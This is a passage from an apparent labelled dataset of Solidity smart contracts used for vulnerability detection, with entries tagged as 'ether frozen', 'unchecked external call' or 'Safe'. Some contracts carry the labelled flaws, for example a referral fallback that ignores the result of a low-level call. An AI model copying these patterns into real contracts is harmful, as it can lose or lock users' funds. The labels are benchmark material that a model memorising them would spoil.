require(Havven(msg.sender) == havven); _; } modifier onlyCourt() { require(Court(msg.sender) == court); _; } event CourtUpdated(address newCourt); bytes32 constant COURTUPDATED_SIG = keccak256(""CourtUpdated(address)""); function emitCourtUpdated(address newCourt) internal { proxy._emit(abi.encode(newCourt), 1, COURTUPDATED_SIG, 0, 0, 0); } event HavvenUpdated(address newHavven); bytes32 constant HAVVENUPDATED_SIG = keccak256(""HavvenUpdated(address)""); function emitHavvenUpdated(address newHavven) internal { proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0); } event AccountFrozen(address indexed target, uint balance); bytes32 constant ACCOUNTFROZEN_SIG = keccak256(""AccountFrozen(address,uint256)""); function emitAccountFrozen(address target, uint balance) internal { proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0); } event AccountUnfrozen(address indexed target); bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256(""AccountUnfrozen(address)""); function emitAccountUnfrozen(address target) internal { proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0); } event Issued(address indexed account, uint amount); bytes32 constant ISSUED_SIG = keccak256(""Issued(address,uint256)""); function emitIssued(address account, uint amount) internal { proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint amount); bytes32 constant BURNED_SIG = keccak256(""Burned(address,uint256)""); function emitBurned(address account, uint amount) internal { proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0); } } contract NominAirdropper is Owned { constructor (address _owner) Owned(_owner) {} function multisend(address tokenAddress, address[] destinations, uint256[] values) external onlyOwner { require(destinations.length == values.length); uint256 i = 0; while (i < destinations.length) { Nomin(tokenAddress).transferSenderPaysFee(destinations[i], values[i]); i += 1; } } }",./Dataset/ether frozen (EF),2,2 37939.sol,"/** * Interface for defining crowdsale pricing. */ contract PricingStrategy { /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } //coinschedule.com referral contract for WWAM ICO contract coinScheduleReferral is SafeMath { uint256 public weiRaised = 0; //Holding the number of wei invested through this referral contract address public wwamICOcontractAddress = 0x59a048d31d72b98dfb10f91a8905aecda7639f13; address public pricingStrategyAddress = 0xe4b9b539f047f08991a231cc1b01eb0fa1849946; address public tokenAddress = 0xf13f1023cfD796FF7909e770a8DDB12d33CADC08; function() payable { wwamICOcontractAddress.call.gas(300000).value(msg.value)(); weiRaised = safeAdd(weiRaised, msg.value); PricingStrategy pricingStrategy = PricingStrategy(pricingStrategyAddress); uint tokenAmount = pricingStrategy.calculatePrice(msg.value, 0, 0, 0, 0); StandardToken token = StandardToken(tokenAddress); token.transfer(msg.sender, tokenAmount); } }",./Dataset/unchecked external call (UC),7,7 0x01dbaddf4e9b51e7e66ef541b8a7fc900b0b2dcd_Staff.sol,"pragma solidity ^0.4.13; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } contract Staff is Ownable, RBAC { string public constant ROLE_STAFF = ""staff""; function addStaff(address _staff) public onlyOwner { addRole(_staff, ROLE_STAFF); } function removeStaff(address _staff) public onlyOwner { removeRole(_staff, ROLE_STAFF); } function isStaff(address _staff) view public returns (bool) { return hasRole(_staff, ROLE_STAFF); } }",Safe,8,8 0x036407F23D5E1C1486F7488332CF54bf06E5F09F_ABCToken.sol,"pragma solidity ^0.4.11; /* Author: Victor Mezrin [email protected] */ /* Interface of the ERC223 token */ contract ERC223TokenInterface { function name() constant returns (string _name); function symbol() constant returns (string _symbol); function decimals() constant returns (uint8 _decimals); function totalSupply() constant returns (uint256 _supply); function balanceOf(address _owner) constant returns (uint256 _balance); function approve(address _spender, uint256 _value) returns (bool _success); function allowance(address _owner, address spender) constant returns (uint256 _remaining); function transfer(address _to, uint256 _value) returns (bool _success); function transfer(address _to, uint256 _value, bytes _metadata) returns (bool _success); function transferFrom(address _from, address _to, uint256 _value) returns (bool _success); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value, bytes metadata); } /* Interface of the contract that is going to receive ERC223 tokens */ contract ERC223ContractInterface { function erc223Fallback(address _from, uint256 _value, bytes _data){ // to avoid warnings during compilation _from = _from; _value = _value; _data = _data; // Incoming transaction code here throw; } } /* https://github.com/LykkeCity/EthereumApiDotNetCore/blob/master/src/ContractBuilder/contracts/token/SafeMath.sol */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) throw; return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) throw; return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) throw; return x * y; } } contract ERC223Token is ERC223TokenInterface, SafeMath { /* Storage of the contract */ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* Getters */ function name() constant returns (string _name) { return name; } function symbol() constant returns (string _symbol) { return symbol; } function decimals() constant returns (uint8 _decimals) { return decimals; } function totalSupply() constant returns (uint256 _supply) { return totalSupply; } function balanceOf(address _owner) constant returns (uint256 _balance) { return balances[_owner]; } /* Allow to spend */ function approve(address _spender, uint256 _value) returns (bool _success) { allowances[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 _remaining) { return allowances[_owner][_spender]; } /* Transfer */ function transfer(address _to, uint256 _value) returns (bool _success) { bytes memory emptyMetadata; __transfer(msg.sender, _to, _value, emptyMetadata); return true; } function transfer(address _to, uint256 _value, bytes _metadata) returns (bool _success) { __transfer(msg.sender, _to, _value, _metadata); Transfer(msg.sender, _to, _value, _metadata); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) { if (allowances[_from][msg.sender] < _value) throw; allowances[_from][msg.sender] = safeSub(allowances[_from][msg.sender], _value); bytes memory emptyMetadata; __transfer(_from, _to, _value, emptyMetadata); return true; } function __transfer(address _from, address _to, uint256 _value, bytes _metadata) internal { if (_from == _to) throw; if (_value == 0) throw; if (balanceOf(_from) < _value) throw; balances[_from] = safeSub(balanceOf(_from), _value); balances[_to] = safeAdd(balanceOf(_to), _value); if (isContract(_to)) { ERC223ContractInterface receiverContract = ERC223ContractInterface(_to); receiverContract.erc223Fallback(_from, _value, _metadata); } Transfer(_from, _to, _value); } /* Helpers */ // Assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) internal returns (bool _isContract) { _addr = _addr; // to avoid warnings during compilation uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } } contract ABCToken is ERC223Token { // Constructor function ABCToken( string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokensHolder) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[_initialTokensHolder] = _totalSupply; } }",Safe,8,8 39901.sol,"pragma solidity ^0.4.0; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if(address(OAR)==0) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1); return true; } if (getCodeSize(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } // contract Dice is usingOraclize { uint constant pwin = 4000; //probability of winning (10000 = 100%) uint constant edge = 190; //edge percentage (10000 = 100%) uint constant maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint constant minBet = 200 finney; uint constant maxInvestors = 10; //maximum number of investors uint constant houseEdge = 90; //edge percentage (10000 = 100%) uint constant divestFee = 50; //divest fee percentage (10000 = 100%) uint constant emergencyWithdrawalRatio = 10; //ratio percentage (100 = 100%) uint safeGas = 2300; uint constant ORACLIZE_GAS_LIMIT = 175000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 3 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBet; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; uint public invested = 0; address public owner; address public houseAddress; bool public isStopped; WithdrawalProposal public proposedWithdrawal; mapping (bytes32 => Bet) public bets; bytes32[] public betsKeys; uint public investorsProfit = 0; uint public investorsLosses = 0; bool profitDistributed; event LOG_NewBet(address playerAddress, uint amount); event LOG_BetWon(address playerAddress, uint numberRolled, uint amountWon); event LOG_BetLost(address playerAddress, uint numberRolled); event LOG_EmergencyWithdrawalProposed(); event LOG_EmergencyWithdrawalFailed(address withdrawalAddress); event LOG_EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event LOG_FailedSend(address receiver, uint amount); event LOG_ZeroSend(); event LOG_InvestorEntrance(address investor, uint amount); event LOG_InvestorCapitalUpdate(address investor, int amount); event LOG_InvestorExit(address investor, uint amount); event LOG_ContractStopped(); event LOG_ContractResumed(); event LOG_OwnerAddressChanged(address oldAddr, address newOwnerAddress); event LOG_HouseAddressChanged(address oldAddr, address newHouseAddress); event LOG_GasLimitChanged(uint oldGasLimit, uint newGasLimit); event LOG_EmergencyAutoStop(); event LOG_EmergencyWithdrawalVote(address investor, bool vote); event LOG_ValueIsTooBig(); event LOG_SuccessfulSend(address addr, uint amount); function Dice() { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _; } modifier onlyIfStopped { if (!isStopped) throw; _; } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _; } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _; } modifier onlyOwner { if (owner != msg.sender) throw; _; } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _; } modifier onlyMoreThanZero { if (msg.value == 0) throw; _; } modifier onlyIfBetExist(bytes32 myid) { if(bets[myid].playerAddress == address(0x0)) throw; _; } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { if ((((bets[myid].amountBet * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (bets[myid].amountBet >= minBet)) { _; } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && bets[myid].numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } _; } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _; } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _; } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _; } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _; } } modifier onlyIfValidGas(uint newGasLimit) { if (ORACLIZE_GAS_LIMIT + newGasLimit < ORACLIZE_GAS_LIMIT) throw; if (newGasLimit < 25000) throw; _; } modifier onlyIfNotProcessed(bytes32 myid) { if (bets[myid].numberRolled > 0) throw; _; } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _; } modifier investorsInvariant { _; if (numInvestors > maxInvestors) throw; } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { if ((invested < investorsProfit) || (invested + investorsProfit < invested) || (invested + investorsProfit < investorsLosses)) { return 0; } else { return invested + investorsProfit - investorsLosses; } } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, (investorsProfit - investorsLosses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBet, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLossesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLosses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { uint invested = investors[investorIDs[currentInvestor]].amountInvested; uint profit = getProfitShare(currentInvestor); uint losses = getLossesShare(currentInvestor); if ((invested + profit < profit) || (invested + profit < invested) || (invested + profit < losses)) return 0; else return invested + profit - losses; } function searchSmallestInvestor() constant returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } function changeOraclizeProofType(byte _proofType) onlyOwner { if (_proofType == 0x00) throw; oraclize_setProof( _proofType | proofStorage_IPFS ); } function changeOraclizeConfig(bytes32 _config) onlyOwner { oraclize_setConfig(_config); } // PRIVATE HELPERS FUNCTION function safeSend(address addr, uint value) private { if (value == 0) { LOG_ZeroSend(); return; } if (this.balance < value) { LOG_ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { LOG_FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) LOG_FailedSend(houseAddress, value); } } LOG_SuccessfulSend(addr,value); } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; LOG_InvestorEntrance(msg.sender, msg.value); } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint lossesOfInvestor = getLossesShare(currentInvestor); //Check for overflow and underflow if ((investors[i].amountInvested + profitOfInvestor >= investors[i].amountInvested) && (investors[i].amountInvested + profitOfInvestor >= lossesOfInvestor)) { investors[i].amountInvested += profitOfInvestor - 